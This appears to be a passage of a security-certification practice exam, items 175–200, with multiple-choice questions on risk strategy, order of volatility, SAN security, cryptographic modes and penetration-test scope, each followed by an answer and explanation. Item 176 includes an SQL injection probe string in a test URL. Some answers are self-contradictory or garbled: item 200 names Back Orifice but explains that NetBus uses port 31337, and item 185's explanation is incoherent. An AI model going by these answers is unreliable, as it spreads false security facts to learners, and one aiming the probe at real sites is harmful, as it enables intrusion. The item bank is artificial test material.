175. A company decides to purchase commercially available software packages. This can introduce new security risks to the network. Which of the following is the BEST description of why this is true?

A. Commercially available software packages are typically well known and widely available. Information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits.

B. Commercially available software packages are often widely available. Information concerning vulnerabilities is often kept internal to the company that developed the software.

C. Commercially available software packages are not widespread and are only available in limited areas. Information concerning vulnerabilities is often ignored by business managers.

D. Commercially available software packages are well known and widely available. Information concerning vulnerabilities and viable attack patterns are always shared within the IT community.

Answer:B. Commercially available software packages are often widely available. Huge companies like Microsoft develop software packages that are widely available and in use on most computers. Most companies that develop commercial software make their software available through many commercial outlets (computer stores, online stores etc).

Information concerning vulnerabilities is often kept internal to the company that developed the software. The large companies that develop commercial software packages are accountable for the software. Information concerning vulnerabilities being made available could have a huge financial cost to the company in terms of loss of reputation and lost revenues. Information concerning vulnerabilities is often kept internal to the company at least until a patch is available to fix the vulnerability.

176. A security tester is testing a website and performs the following manual query:

https://www.comptia.com/cookies.jsp?products=5%20and%201=1

The following response is received in the payload:

"ORA-000001: SQL command not properly ended"

Which of the following is the response an example of?

A. Fingerprinting

B. Cross-site scripting

C. SQL injection

D. Privilege escalation

Answer: A. This is an example of Fingerprinting. The response to the code entered includes "ORA-000001" which tells the attacker that the database software being used is Oracle.

Fingerprinting can be used as a means of ascertaining the operating system of a remote computer on a network. Fingerprinting is more generally used to detect specific versions of applications or protocols that are run on network servers. Fingerprinting can be accomplished "passively" by sniffing network packets passing between hosts, or it can be accomplished "actively" by transmitting specially created packets to the target machine and analyzing the response.

177. The technology steering committee is struggling with increased requirements stemming from an increase in telecommuting. The organization has not addressed telecommuting in the past. The implementation of a new SSL-VPN and a VOIP phone solution enables personnel to work from remote locations with corporate assets. Which of the following steps must the committee take FIRST to outline senior management's directives?

A. Develop an information classification scheme that will properly secure data on corporate systems.

B. Implement database views and constrained interfaces so remote users will be unable to access PII from personal equipment.

C. Publish a policy that addresses the security requirements for working remotely with company equipment.

D. Work with mid-level managers to identify and document the proper procedures for telecommuting.

Answer: C. The question states that "the organization has not addressed telecommuting in the past". It is therefore unlikely that a company policy exists for telecommuting workers.

There are many types of company policies including Working time, Equality and diversity, Change management, Employment policies, Security policies and Data Protection policies.

In this question, a new method of working has been employed: remote working or telecommuting. Policies should be created to establish company security requirements (and any other requirements) for users working remotely.

178. An investigator wants to collect the most volatile data first in an incident to preserve the data that runs the highest risk of being lost. After memory, which of the following BEST represents the remaining order of volatility that the investigator should follow?

A. File system information, swap files, network processes, system processes and raw disk blocks.

B. Raw disk blocks, network processes, system processes, swap files and file system information.

C. System processes, network processes, file system information, swap files and raw disk blocks.

D. Raw disk blocks, swap files, network processes, system processes, and file system information

Answer: C. The order in which you should collect evidence is referred to as the Order of volatility. Generally, evidence should be collected from the most volatile to the least volatile. The order of volatility from most volatile to least volatile is as follows:

Data in RAM, including CPU cache and recently used data and applications

Data in RAM, including system and network processes

Swap files (also known as paging files) stored on local disk drives

Data stored on local disk drives

Logs stored on remote systems

Archive media

179. Which of the following activities is commonly deemed "OUT OF SCOPE" when undertaking a penetration test?

A. Test password complexity of all login fields and input validation of form fields

B. Reverse engineering any thick client software that has been provided for the test

C. Undertaking network-based denial of service attacks in production environment

D. Attempting to perform blind SQL injection and reflected cross-site scripting attacks

E. Running a vulnerability scanning tool to assess network and host weaknesses

Answer: C. Penetration testing is done to look at a network in an adversarial fashion with the aim of looking at what an attacker will use. Penetration testing is done without malice and undertaking a network-based denial of service attack in the production environment is as such 'OUT OF SCOPE'.

180. ABC Corporation uses multiple security zones to protect systems and information, and all of the VM hosts are part of a consolidated VM infrastructure. Each zone has different VM administrators. Which of the following restricts different zone administrators from directly accessing the console of a VM host from another zone?

A. Ensure hypervisor layer firewalling between all VM hosts regardless of security zone.

B. Maintain a separate virtual switch for each security zone and ensure VM hosts bind to only the correct virtual NIC(s).

C. Organize VM hosts into containers based on security zone and restrict access using an ACL.

D. Require multi-factor authentication when accessing the console at the physical VM host.

Answer: C. Access Control Lists (ACLs) are used to restrict access to the console of a virtual host. Virtual hosts are often managed by centralized management servers (for example: VMware vCenter Server). You can create logical containers that can contain multiple hosts and you can configure ACLs on the containers to provide access to the hosts within the container.

181. A company has noticed recently that its corporate information has ended up on an online forum. An investigation has identified that internal employees are sharing confidential corporate information on a daily basis. Which of the following are the MOST effective security controls that can be implemented to stop the above problem? (Select TWO).

A. Implement a URL filter to block the online forum

B. Implement NIDS on the desktop and DMZ networks

C. Security awareness compliance training for all employees

D. Implement DLP on the desktop, email gateway, and web proxies

E. Review of security policies and procedures

Answer: C, D. Security awareness compliance training for all employees should be implemented to educate employees about corporate policies and procedures for working with information technology (IT). Data loss prevention (DLP) should be implemented to make sure that users do not send sensitive or critical information outside the corporate network

182. The Chief Information Security Officer (CISO) at a company knows that many users store business documents on public cloud-based storage, and realizes this is a risk to the company. In response, the CISO implements a mandatory training course in which all employees are instructed on the proper use of cloud-based storage. Which of the following risk strategies did the CISO implement?

A. Avoid

B. Accept

C. Mitigate

D. Transfer

Answer: C. Mitigation means that a control is used to reduce the risk. In this case, the control is training.

183. Which of the following represents important technical controls for securing a SAN storage infrastructure? (Select TWO).

A. Synchronous copy of data

B. RAID configuration

C. Data de-duplication

D. Storage pool space allocation

E. Port scanning

F. LUN masking/mapping

G. Port mapping

Answer: F, G. A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN).LUN masking

subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

Port mapping is used in 'Zoning'. In storage networking, Fibre Channel zoning is the partitioning of a Fibre Channel fabric into smaller subsets to restrict interference, add security, and to simplify management. While a SAN makes available several devices and/or ports to a single device, each system connected to the SAN should only be allowed access to a controlled subset of these devices/ports.

Zoning can be applied to either the switch port a device is connected to OR the WWN World Wide Name on the host being connected. As port based zoning restricts traffic flow based on the specific switch port a device is connected to, if the device is moved, it will lose access. Furthermore, if a different device is connected to the port in question, it will gain access to any resources the previous host had access to.

184. The Chief Information Security Officer (CISO) at a large organization has been reviewing some security-related incidents at the organization and comparing them to current industry trends. The desktop security engineer feels that the use of USB storage devices on office computers has contributed to the frequency of security incidents. The CISO knows the acceptable use policy prohibits the use of USB storage devices. Every user receives a popup warning about this policy upon login. The SIEM system produces a report of USB violations on a monthly basis; yet violations continue to occur.

Which of the following preventative controls would MOST effectively mitigate the logical risks associated with the use of USB storage devices?

A. Revise the corporate policy to include possible termination as a result of violations

B. Increase the frequency and distribution of the USB violations report

C. Deploy PKI to add non-repudiation to login sessions so offenders cannot deny the offense

D. Implement group policy objects

Answer: D. A Group Policy Object (GPO) can apply a common group of settings to all computers in Windows domain.

One GPO setting under the Removable Storage Access node is: All removable storage classes: Deny all access.

This setting can be applied to all computers in the network and will disable all USB storage devices on the computers.

185. A security administrator notices a recent increase in workstations becoming compromised by malware. Often, the malware is delivered via drive-by downloads, from malware hosting websites, and is not being detected by the corporate antivirus. Which of the following solutions would provide the BEST protection for the company?

A. Increase the frequency of antivirus downloads and install updates to all workstations.

B. Deploy a cloud-based content filter and enable the appropriate category to prevent further infections.

C. Deploy a WAF to inspect and block all web traffic which may contain malware and exploits.

D. Deploy a web based gateway antivirus server to intercept viruses before they enter the network.

Answer: B. The undetected malware gets delivered to the company via drive-by and malware hosing websites. Display filters and Capture filters when deployed on the cloud-based content should provide the protection required.

186. A security administrator has been asked to select a cryptographic algorithm to meet the criteria of a new application. The application utilizes streaming video that can be viewed both on computers and mobile devices. The application designers have asked that the algorithm support the transport encryption with the lowest possible performance overhead. Which of the following recommendations would BEST meet the needs of the application designers? (Select TWO).

A. Use AES in Electronic Codebook mode

B. Use RC4 in Cipher Block Chaining mode

C. Use RC4 with Fixed IV generation

D. Use AES with cipher text padding

E. Use RC4 with a nonce generated IV

F. Use AES in Counter mode

Answer: E,F. In cryptography, an initialization vector (IV) is a fixed-size input to a cryptographic primitive that is typically required to be random or pseudorandom. Randomization is crucial for encryption schemes to achieve semantic security, a property whereby repeated usage of the scheme under the same key does not allow an attacker to infer relationships between segments of the encrypted message.

Some cryptographic primitives require the IV only to be non-repeating, and the required randomness is derived internally. In this case, the IV is commonly called a nonce (number used once), and the primitives are described as stateful as opposed to randomized. This is because the IV need not be explicitly forwarded to a recipient but may be

derived from a common state updated at both sender and receiver side. An example of stateful encryption schemes is the counter mode of operation, which uses a sequence number as a nonce.

AES is a block cipher. Counter mode turns a block cipher into a stream cipher. It generates the next keystream block by encrypting successive values of a "counter". The counter can be any function which produces a sequence which is guaranteed not to repeat for a long time, although an actual increment-by-one counter is the simplest and most popular.

187. The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configuration processes, and support incident reconstruction. Which of the following designs BEST supports the given requirements?

A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.

B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.

C. A SaaS based firewall which logs to the company's local storage via SSL, and is managed by the change control team.

D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.

Answer: A. Security in depth is the concept of creating additional layers of security. The traditional approach of securing the IT infrastructure is no longer enough. Today's threats are multifaceted and often persistent, and traditional network perimeter security controls cannot effectively mitigate them. Organizations need to implement more effective, multi-level security controls that are embedded with their electronic assets. They need to protect key assets from both external and internal threats. This security in depth approach is meant to sustain attacks even when perimeter and traditional controls have been breached.

In this question, using two firewalls to secure the DMZ from both external and internal attacks is the best approach. Having each firewall managed by a separate administrator will reduce the chance of a configuration error being made on both firewalls. The remote logging will enable incident reconstruction.

188. Which of the following describes a risk and mitigation associated with cloud data storage?

A. Risk: Shared hardware caused data leakage

Mitigation: Strong encryption at rest

B.Risk: Offsite replication

Mitigation: Multi-site backups

C. Risk: Data loss from de-duplication

Mitigation: Dynamic host bus addressing

D. Risk: Combined data archiving

Mitigation: Two-factor administrator authentication

Answer: A. With cloud data storage, the storage provider will have large enterprise SANs providing large pools of storage capacity. Portions of the storage pools are assigned to customers. The risk is that multiple customers are storing their data on the same physical hardware storage devices. This presents a risk (usually a very small risk, but a risk all the same) of other customers using the same cloud storage hardware being able to view your data.

The mitigation of the risk is to encrypt your data stored on the SAN. Then the data would be unreadable even if another customer was able to access it.

189. Executive management is asking for a new manufacturing control and workflow automation solution. This application will facilitate management of proprietary information and closely guarded corporate trade secrets.

The information security team has been a part of the department meetings and come away with the following notes:

Human resources would like complete access to employee data stored in the application. They would like automated data interchange with the employee management application, a cloud-based SaaS application.

Sales is asking for easy order tracking to facilitate feedback to customers.

Legal is asking for adequate safeguards to protect trade secrets. They are also concerned with data ownership questions and legal jurisdiction.

Manufacturing is asking for ease of use. Employees working the assembly line cannot be bothered with additional steps or overhead. System interaction needs to be quick and easy.

Quality assurance is concerned about managing the end product and tracking overall performance of the product being produced. They would like read-only access to the entire workflow process for monitoring and baselining.

The favored solution is a user friendly software application that would be hosted onsite. It has extensive ACL

functionality, but also has readily available APIs for extensibility. It supports read-only access, kiosk automation, custom fields, and data encryption.

Which of the following departments' request is in contrast to the favored solution?

A. Manufacturing

B. Legal

C. Sales

D. Quality assurance

E. Human resources

Answer: E. The human resources department wanted complete access to employee data stored in the application, and an automated data interchange with their cloud-based SaaS employee management application. However, the favored solution provides read-only access and is hosted onsite.

190. A risk manager has decided to use likelihood and consequence to determine the risk of an event occurring to a company asset. Which of the following is a limitation of this approach to risk management?

A. Subjective and based on an individual's experience.

B. Requires a high degree of upfront work to gather environment details.

C. Difficult to differentiate between high, medium, and low risks.

D. Allows for cost and benefit analysis.

E. Calculations can be extremely complex to manage.

Answer: A. Using likelihood and consequence to determine risk is known as qualitative risk analysis.

With qualitative risk analysis, the risk would be evaluated for its probability and impact using a numbered ranking system such as low, medium, and high or perhaps using a 1 to 10 scoring system.

After qualitative analysis has been performed, you can then perform quantitative risk analysis. A Quantitative risk analysis is a further analysis of the highest priority risks during which a numerical or quantitative rating is assigned to the risk. Qualitative risk analysis is usually quick to perform and no special tools or software is required. However, qualitative risk analysis is subjective and based on the user's experience.

191. Which of the following is about finding the balance between the costs of security against the value of assets?

A. Performance management

B. Value delivery

C. Integration

D. Resource management

Answer: B. Value delivery is about finding the balance between the costs of security against the value of assets.

192. _____ is about utilizing the security infrastructure efficiently and effectively with minimum waste.

A. Performance management

B. Value delivery

C. Enterprise architecture

D. Resource management

Answer: D. Resource management is about utilizing the security infrastructure efficiently and effectively with minimum waste.

193. _____ is the practice within information technology of organizing and documenting a company's IT assets so that planning, management, and expansion can be enhanced.

A. Performance management

B. Value delivery

C. Enterprise architecture

D. Resource management

Answer: C. Enterprise Architecture is the practice within information technology of organizing and documenting a company's IT assets so that planning, management, and expansion can be enhanced.

194. This risk assessment method is similar to the structured review, yet individuals present for the meeting must write their responses down and hand them to the team lead for review.

A. Alpha Review

B. Structured Review

C. ODFM

D. Modified Delphi

Answer: D. The modified Delphi technique is similar to the structured review yet individuals present for the meeting must write their responses down and hand them to the team lead for review.

195. Security awareness is an example of which control category?

A. Detective

B. Preventive

C. Corrective

D. Compensating

Answer: B. Security awareness is an example of a preventive control.

196. Clustering is an example of a _____ control.

A. Detective

B. Preventive

C. Corrective

D. Compensating

Answer: D. Clustering is an example of a compensating control.

197. Patching is an example of which of the following controls?

A. Detective

B. Preventive

C. Corrective

D. Compensating

Answer: C. Patching is a correcting control as it seeks to overcome a weakness of vulnerability in software.

198. Reviewing audit logs is an example of which of the following?

A. Detective

B. Preventive

C. Corrective

D. Compensating

Answer: A. Reviewing audit logs is an example of a detective control

199. Another name for the software vulnerability version model is which of the following?

A. Plan, do, check, and correct

B. Plan, secure, confirm, and remediate

C. Plan, detect, respond, and improve

D. Initial, repeatable, defined, and optimized

Answer: B. Another name for the software vulnerability version model is plan, secure, confirm, and remediate.

200. You have completed a port scan and found port 31337 open. What application commonly uses this port?

A. NetBus

B. Beast

C. Back orifice

D. Loki

Answer: C. Netbus uses port 31337.